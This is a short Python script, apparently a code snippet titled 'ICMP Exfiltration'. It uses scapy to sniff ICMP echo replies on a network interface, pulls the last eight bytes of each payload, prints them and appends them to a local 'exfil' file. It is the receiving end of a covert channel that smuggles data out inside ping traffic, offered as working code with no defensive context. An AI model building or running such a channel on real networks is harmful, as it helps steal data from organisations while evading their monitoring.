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ICMP Exfiltration
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| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| from scapy.all import sniff, ICMP | |
| def process_packet(packet): | |
| if packet.haslayer(ICMP) and packet[ICMP].type == 0: | |
| data = packet[ICMP].load[-8:] | |
| try: | |
| print(f"{data.decode('utf-8')}", end="") | |
| except UnicodeDecodeError: | |
| pass | |
| with open("./exfil", "a+b") as f: | |
| f.write(data) | |
| if __name__ == "__main__": | |
| sniff(iface="wlp3s0", prn=process_packet) |
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